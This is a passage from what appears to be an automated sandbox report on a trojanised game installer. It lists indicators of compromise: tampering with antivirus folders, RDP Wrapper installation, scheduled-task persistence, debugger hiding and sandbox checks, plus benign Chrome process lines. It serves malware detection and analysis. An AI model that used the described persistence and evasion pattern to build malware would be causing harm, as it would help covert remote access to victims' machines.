behavioral1/memory/5592-1014-0x00007FF6291C0000-0x00007FF62A7BE000-memory.dmp	autoit_exe
behavioral1/memory/5592-1015-0x00007FF6291C0000-0x00007FF62A7BE000-memory.dmp	autoit_exe
behavioral1/memory/5592-1011-0x00007FF6291C0000-0x00007FF62A7BE000-memory.dmp	autoit_exe
behavioral1/memory/4916-1368-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	autoit_exe

Drops file in System32 directory 3 IoCs

Processes:

IP.exeRDPWinst.exe

description	ioc	process
File created	C:\Windows\SysWOW64\unsecapp.exe	IP.exe
File opened for modification	C:\Windows\SysWOW64\unsecapp.exe	IP.exe
File created	C:\Windows\System32\rfxvmt.dll	RDPWinst.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs

Processes:

Setup.exeGameGuard.exeupdate.exeIP.exesmss.exeunsecapp.exeDesktop.exeunsecapp.exeunsecapp.exe

pid process

4916 Setup.exe
5528 GameGuard.exe
464 update.exe
852 IP.exe
5280 smss.exe
5592 unsecapp.exe
5656 Desktop.exe
3536 unsecapp.exe
4324 unsecapp.exe

Drops file in Program Files directory 64 IoCs

Processes:

data1.sfx.exeGameInstall.exeupdate.exesmss.exe

description	ioc	process
File created	C:\Program Files (x86)\Rutor\èãðû\animationsystem.dll	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_ti7_header_undersea.vpk	data1.sfx.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_ti7_flags.vpk	GameInstall.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\campaign_ambient.vpk	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\badge_level_up.vpk	GameInstall.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_ti7_header.vpk	GameInstall.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\AuraSdk_x64.dll	data1.sfx.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_ti7_header_undersea.vpk	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\campaign_winter2016_header.vpk	data1.sfx.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_ti8_header.vpk	GameInstall.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_ti8_header_undersea.vpk	GameInstall.exe
File opened for modification	C:\Program Files\COMODO	update.exe
File opened for modification	C:\Program Files\Common Files\McAfee	update.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_ti9_flags.vpk	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\darkmoon_hero_pick.vpk	data1.sfx.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_ti8_flags.vpk	GameInstall.exe
File opened for modification	C:\Program Files (x86)\SpeedFan	update.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_ti9_flags.vpk	data1.sfx.exe
File opened for modification	C:\Program Files (x86)\MSI\MSI Center	update.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\AnselSDK64.dll	data1.sfx.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\darkmoon_frontpage.vpk	data1.sfx.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\amd_ags_x64.dll	GameInstall.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\badge_level.vpk	GameInstall.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\720_patchbg.vpk	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_winter2017_header.vpk	GameInstall.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_fall2016_header.vpk	data1.sfx.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_fall2016_header.vpk	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_ti7_header.vpk	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\find_match_status_high_priority.vpk	data1.sfx.exe
File opened for modification	C:\Program Files\RDP Wrapper\rdpwrap.ini	smss.exe
File opened for modification	C:\Program Files\Ravantivirus	update.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\darkmoon_frontpage.vpk	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\dtdata.dll	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\dueling_fates_main.vpk	data1.sfx.exe
File opened for modification	C:\Program Files (x86)\Cezurity	update.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\amd_ags_x64.dll	data1.sfx.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\CUESDK.x64_2015.dll	data1.sfx.exe
File opened for modification	C:\Program Files\EnigmaSoft	update.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\720_patchbg.vpk	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\badge_level.vpk	data1.sfx.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_winter_rewardintro.vpk	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\dueling_fates_main.vpk	GameInstall.exe
File opened for modification	C:\Program Files (x86)\SpyHunter	update.exe
File opened for modification	C:\Program Files (x86)\Panda Security	update.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\darkmoon_hero_pick.vpk	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\find_match_status.vpk	GameInstall.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_ti6_header.vpk	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\campaign_ambient.vpk	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\darkmoon_hero_pick.vpk	GameInstall.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\campaign_ambient.vpk	GameInstall.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\darkmoon_spinwheel.vpk	GameInstall.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\badge_level_up.vpk	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\GEARASSETS_KRO_ScriptAssets.PSF	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\darkmoon_frontpage.vpk	GameInstall.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_ti7_flags.vpk	data1.sfx.exe
File opened for modification	C:\Program Files\Common Files\AV	update.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\700_frontpage.vpk	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\CUESDK.x64_2015.dll	data1.sfx.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_ti9_header_jungle.vpk	data1.sfx.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_winter2017_header.vpk	data1.sfx.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\dtdata.dll	data1.sfx.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_ti7_header_undersea.vpk	GameInstall.exe
File opened for modification	C:\Program Files (x86)\Rutor\èãðû\Asset\battlepass_ti9_header_jungle.vpk	GameInstall.exe
File created	C:\Program Files (x86)\Rutor\èãðû\Asset\find_match_status_high_priority.vpk	GameInstall.exe

Launches sc.exe 6 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4296 sc.exe
5476 sc.exe
2196 sc.exe
5932 sc.exe
1332 sc.exe
5652 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
4296	sc.exe
5476	sc.exe
2196	sc.exe
5932	sc.exe
1332	sc.exe
5652	sc.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

Desktop.exesmss.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Desktop.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	smss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	smss.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Desktop.exe

Creates scheduled task(s) 1 TTPs 9 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

Scheduled Task/Job

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
4120	schtasks.exe
4660	schtasks.exe
5232	schtasks.exe
3108	schtasks.exe
3760	schtasks.exe
5164	schtasks.exe
2176	schtasks.exe
5776	schtasks.exe
444	schtasks.exe

Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

5176 timeout.exe
1168 timeout.exe
6092 timeout.exe

pid	process
5176	timeout.exe
1168	timeout.exe
6092	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133586098745151068"	chrome.exe

Modifies registry class 8 IoCs

Processes:

chrome.exeGameInstall.exesmss.exedata1.sfx.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	GameInstall.exe
Key created	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	GameInstall.exe
Key created	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000_Classes\MIME\Database	smss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Charset	smss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Codepage	smss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	data1.sfx.exe
Key created	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	data1.sfx.exe

NTFS ADS 3 IoCs

Processes:

IP.exesmss.exe

description	ioc	process
File opened for modification	C:\ProgramData\Setup\winmgmts:\	IP.exe
File opened for modification	C:\ProgramData\Setup\WinMgmts:\	IP.exe
File opened for modification	C:\ProgramData\Setup\winmgmts:\	smss.exe

Runs net.exe
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 237 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

description	flow	ioc
HTTP User-Agent header	237	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

chrome.exechrome.exeSetup.exeGameGuard.exeupdate.exe

pid	process
4544	chrome.exe
4544	chrome.exe
5124	chrome.exe
5124	chrome.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
4916	Setup.exe
5528	GameGuard.exe
5528	GameGuard.exe
5528	GameGuard.exe
5528	GameGuard.exe
5528	GameGuard.exe
5528	GameGuard.exe
5528	GameGuard.exe
5528	GameGuard.exe
5528	GameGuard.exe
5528	GameGuard.exe
5528	GameGuard.exe
5528	GameGuard.exe
464	update.exe
464	update.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

Processes:

data1.sfx.exeGameInstall.exeunsecapp.exe

pid process

1500 data1.sfx.exe
4336 GameInstall.exe
5592 unsecapp.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

656

pid	process
1500	data1.sfx.exe
4336	GameInstall.exe
5592	unsecapp.exe

pid	process
656

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

Processes:

chrome.exe

pid	process
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exe

description	pid	process
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe
Token: SeShutdownPrivilege	4544	chrome.exe
Token: SeCreatePagefilePrivilege	4544	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

chrome.exe

pid	process
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe

Suspicious use of SendNotifyMessage 28 IoCs

Processes:

chrome.exeDesktop.exe

pid	process
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
4544	chrome.exe
5656	Desktop.exe
5656	Desktop.exe
5656	Desktop.exe
5656	Desktop.exe

Suspicious use of SetWindowsHookEx 28 IoCs

Processes:

Setup.exeGameInstall.exeinstall.exeGameGuard.exeupdate.exewin.exesvchost.exeIP.exesmss.exewinserv.exewinserv.exeDesktop.exeRDPWinst.exewinserv.exewinserv.exe

pid	process
4916	Setup.exe
4336	GameInstall.exe
60	install.exe
5528	GameGuard.exe
464	update.exe
1464	win.exe
4804	svchost.exe
852	IP.exe
5280	smss.exe
1192	winserv.exe
1192	winserv.exe
1192	winserv.exe
1192	winserv.exe
1192	winserv.exe
4864	winserv.exe
4864	winserv.exe
4864	winserv.exe
4864	winserv.exe
5656	Desktop.exe
3472	RDPWinst.exe
4748	winserv.exe
4748	winserv.exe
4748	winserv.exe
4748	winserv.exe
3032	winserv.exe
3032	winserv.exe
3032	winserv.exe
3032	winserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 4544 wrote to memory of 4876	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 4876	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 1036	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 3560	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 3560	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe
PID 4544 wrote to memory of 5096	4544	chrome.exe	chrome.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\data1.sfx.exe
"C:\Users\Admin\AppData\Local\Temp\data1.sfx.exe"
1⤵
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
PID:1500

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4544
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffa6d2eab58,0x7ffa6d2eab68,0x7ffa6d2eab78
  2⤵
  PID:4876
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1696 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:2
  2⤵
  PID:1036
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:8
  2⤵
  PID:3560
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2152 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:8
  2⤵
  PID:5096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3096 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:1
  2⤵
  PID:1612
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3124 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:1
  2⤵
  PID:4332
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3628 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:1
  2⤵
  PID:700
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4056 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:8
  2⤵
  PID:552
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4612 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:8
  2⤵
  PID:800
